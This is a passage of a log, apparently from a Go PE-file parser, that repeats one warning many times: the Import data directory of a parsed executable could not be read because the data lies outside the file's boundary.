+time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 